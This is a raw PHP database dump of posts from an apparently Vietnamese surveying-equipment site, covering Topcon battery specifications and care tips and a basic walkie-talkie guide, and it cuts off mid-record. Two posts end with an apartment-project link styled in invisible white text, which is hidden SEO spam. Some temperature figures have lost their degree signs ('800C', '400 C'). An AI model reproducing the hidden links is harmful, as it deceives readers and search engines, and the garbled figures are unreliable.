<li dir="ltr" style="margin: 0px; padding: 0px;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-Cd dùng cho các dòng máy toàn đạc SOKKIA (SET 4, SET 500)…</span></span></span></span></p>
</li>
<li dir="ltr" style="margin: 0px; padding: 0px;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Li-on dùng cho máy toàn đạc Leica TS 02, 06, 09.</span></span></span></span></p>
</li>
<li dir="ltr" style="margin: 0px; padding: 0px;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-MH dùng cho máy toàn đạc Topcon dòng GTS.</span></span><br />
<br />
<strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp của máy toàn đạc điện tử Topcon<span style="margin: 0px; padding: 0px; color: rgb(255, 0, 0);"> </span></strong></span></span></p>
</li>
</ul>
<p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin máy toàn đạc điện tử Topcon (BT-52QA) được cấu tạo từ 6 cell. Pin sử dụng công nghệ hàn nối tiếp với nhau tạo thành một khối thống nhất. Bên trong có cầu chì nhiệt (800C). Pin được trang bị chuôi nạp để nạp lại mỗi khi hết điện.</span></span></span></span></p>
<p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><img alt="http://i01.i.aliimg.com/photo/v0/1896865325/BC_27CR_charger_for_Topcon_BT_50QA.jpg_220x220.jpg" src="https://lh4.googleusercontent.com/ws-dsNetBtgmx62donNUdzN_RUgxoHvDy2wamlTBeSAR_DtILrjX8n6-n3rPwW4-NNhgPBShVWiVo_9vcmkz-UY3valCGdXl6QjQruQBgCulHUD6DWg8_mB9hsDv2tzIPgp6EHOHnOIjPax0gA" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 248px;" /><img alt="http://www.hailyco.com.vn/upload/product/197656674205.jpg" src="https://lh5.googleusercontent.com/pTX1LRsHz3NMgBp5VQKvJ83hq4wmiQpHxjGWsc5O3-p93M0BUgTjsUppgwtHRL9QuiP1uAreUwOZ1CQJy3J6UzXSRkYOrkuOkekL95lzSAVGlEUp5G_40V3n-ppy6gP3tNeSxXwqsutTUe--Pw" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 232px;" /></span></span></span></span></p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<br style="margin: 0px; padding: 0px;" />
<br style="margin: 0px; padding: 0px;" />
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Pin nạp toàn đạc Topcon BT-52 QA và sạc pin toàn đạc Topcon BC 27CR </span></span></p>
<p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<br />
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Bảng thông số kĩ thuật</strong></span></span></span></span></p>
<div dir="ltr" style="margin: 0px 0px 0px -5.75pt; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;">
<table style="margin: 0px; padding: 0px; border-collapse: collapse; border-width: initial; border-style: none; border-color: initial;">
<tbody style="margin: 0px; padding: 0px;">
<tr style="margin: 0px; padding: 0px;">
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Loại pin</span></span></span></span></p>
</td>
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Ni-MH</span></span></span></span></p>
</td>
</tr>
<tr style="margin: 0px; padding: 0px;">
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Điện thế</span></span></span></span></p>
</td>
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">7.2 V</span></span></span></span></p>
</td>
</tr>
<tr style="margin: 0px; padding: 0px;">
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Dung lượng</span></span></span></span></p>
</td>
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2300 mA</span></span></span></span></p>
</td>
</tr>
<tr style="margin: 0px; padding: 0px;">
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Bộ nạp</span></span></span></span></p>
</td>
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">BC-27M/27CR</span></span></span></span></p>
</td>
</tr>
<tr style="margin: 0px; padding: 0px;">
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian nạp</span></span></span></span></p>
</td>
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2.5h</span></span></span></span></p>
</td>
</tr>
<tr style="margin: 0px; padding: 0px;">
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nhiệt độ hoạt động</span></span></span></span></p>
</td>
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">10 – 400 C</span></span></span></span></p>
</td>
</tr>
<tr style="margin: 0px; padding: 0px;">
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian đo chi tiết liên tục</span></span></span></span></p>
</td>
<td style="margin: 0px; padding: 0px; vertical-align: top;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">12h</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
</div>
<p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<br />
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Cách sử dụng pin hiệu quả:</strong></span></span></p>
<ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;">
<li dir="ltr" style="margin: 0px; padding: 0px;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nạp pin 8 tiếng, sử dụng hết pin cho 3 lần đầu tiên.</span></span></span></span></p>
</li>
<li dir="ltr" style="margin: 0px; padding: 0px;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Trước khi sử dụng nên nạp đầy pin.</span></span></span></span></p>
</li>
<li dir="ltr" style="margin: 0px; padding: 0px;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sử dụng pin ở những nơi có nhiệt độ dưới 100C hoặc trên 400C.</span></span></span></span></p>
</li>
<li dir="ltr" style="margin: 0px; padding: 0px;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nên nạp pin với bộ nạp có chế độ tự ngắt khi pin đầy.</span></span></span></span></p>
</li>
<li dir="ltr" style="margin: 0px; padding: 0px;">
<p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sạc pin qua đêm.</span></span></span></span></p>
</li>
<li dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Sạc đầy pin nếu muốn bảo quản thời gian dài. Định kì sạc lại 2 tháng 1 lần. </span></span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Goldlight</span></a></li>
</ul>
',
'images' => '201705080835254aec30307fe530ba9537842b35eb5fa1.png',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2017-05-08',
'modified' => '2025-08-10',
'status' => '1',
'view' => '79070',
'slug' => 'pin-may-toan-dac-dien-tu-topcon',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '849',
'rght' => '850',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 8 => array(
'Post' => array(
'id' => '486',
'name' => 'Hướng dẫn cơ bản sử dụng máy bộ đàm',
'code' => null,
'alias' => 'huong-dan-co-ban-su-dung-may-bo-dam',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<div style="text-align: justify;">
<font color="#404040" face="sans-serif"><span style="font-size: 13.3333px;"><b>Chúng tôi xin gửi tới các bạn một vài hướng dẫn cơ bản trong việc sử dụng máy bộ đàm.</b></span></font></div>
',
'content' => '<p style="box-sizing: border-box; user-select: text; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64);">
<span style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><img alt="" src="/admin/webroot/upload/image/images/huong-dan-su-dung-may-bo-dam-cam-tay-chuan-nhat-2015 sua(1).jpg" style="width: 500px; height: 402px;" /><br />
<br />
1. Tắt và mở máy</strong></span> <strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">bộ đàm</strong></p>
<p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Nút tắt mở máy thường là nút vặn (xoay) nằm trên đầu máy, thường cũng là nút tùy chỉnh Volume (âm thanh) lớn nhỏ của máy bộ đàm cầm tay (Vị trí 3 – Hình bên phải).</span></p>
<p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím trước máy, nút tắt mở nguồn có thể được tích hợp bằng một nút bấm ở trên bàn phím của máy (Vị trí 3 – Hình bên trái). Nút tăng chỉnh Volume (âm thanh) là nút số 4.</span></p>
<p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi tắt mở nguồn máy</strong></span></p>
<ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;">
<li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc phải được lắp vào máy và đã lắp đúng quy định.</span></li>
<li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc đã được nạp điện đầy theo yêu cầu sử dụng.</span></li>
</ul>
<p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">2. Tùy chọn kênh liên lạc</strong></span></p>
<p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Để có thể liên lạc được với nhau thì các máy bộ đàm phải để ở cùng 1 kênh liên lạc, thao tác tùy chọn kênh liên lạc được thực hiện bằng cách xoay nút (vặn) chuyển kênh nằm trên đầu máy, kế bên nút nguồn + Volume (Vị trí 2 – Hình bên phải).</span></p>
<p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím ở phía trước máy, thao tác tùy chọn kênh liên lạc được thực hiện bằng 2 nút bấm (˄˅hoặc ↑ ↓) nằm ở phía trước máy (Vị trí 2 – Hình bên trái).</span></p>
<p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi chọn kênh liên lạc</strong></span></p>
<ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;">
<li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Máy bộ đàm đã được cài đặt tần số sử dụng phù hợp.</span></li>
<li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tùy chọn đúng kênh liên lạc theo nhóm đã quy định.</span></li>
</ul>
<p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">3. Thao tác liên lạc qua máy bộ đàm</strong></span></p>
<p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các máy bộ đàm cầm tay đều có nút PTT (Push to talk), đó là 1 nút lớn nằm phía bên trái của máy (Vị trí 1 – Trên hình vẽ). Khi muốn nói chuyện với các máy bộ đàm khác, người sử dụng cần phải bóp giữ nút PTT này trước và trong suốt quá trình thực hiện cuộc gọi, sau khi nói xong hãy thả nút này ra để nghe những thông tin phản hồi từ những máy khác.</span></p>
<p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi liên lạc qua máy bộ đàm</strong></span></p>
<ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;">
<li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Không được liên lạc khi máy không có anten.</span></li>
<li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Hạn chế việc liên lạc khi máy đang sạc pin hoặc pin yếu.</span></li>
<li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các yếu tố trên đều có thể dẫn đến tình trạng hỏng máy hoặc giảm chất lượng sử dụng của máy.</span></li>
</ul>
<p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">4. Sạc pin máy bộ đàm</strong></span></p>
<ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); user-select: text !important;">
<li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Cần phải sạc thật đầy pin đối với các máy bộ đàm mới hoặc có pin mới mua.</span></li>
<li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Sử dụng hết pin rồi mới bắt đầu quá trình sạc lại pin.</span></li>
<li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;">
<span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Khi sạc pin nên tắt máy hoặc tháo rời pin ra khỏi máy để sạc. <a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Gold light</span></a></span></li>
</ul>
',
'images' => '20170508082500cf9cf2aab38a5b43cf9daff032f0eaab.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2017-05-08',
'modified' => '2025-08-10',
'status' => '1',
'view' => '70748',
'slug' => 'huong-dan-co-ban-su-dung-may-bo-dam',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '847',
'rght' => '848',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 9 => array(
'Post' => array(
'id' => '485',
'name' => 'HƯỚNG DẪN SẠC PIN MÁY BỘ ĐÀM ĐÚNG KỸ THUẬT',
'code' => null,
'alias' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
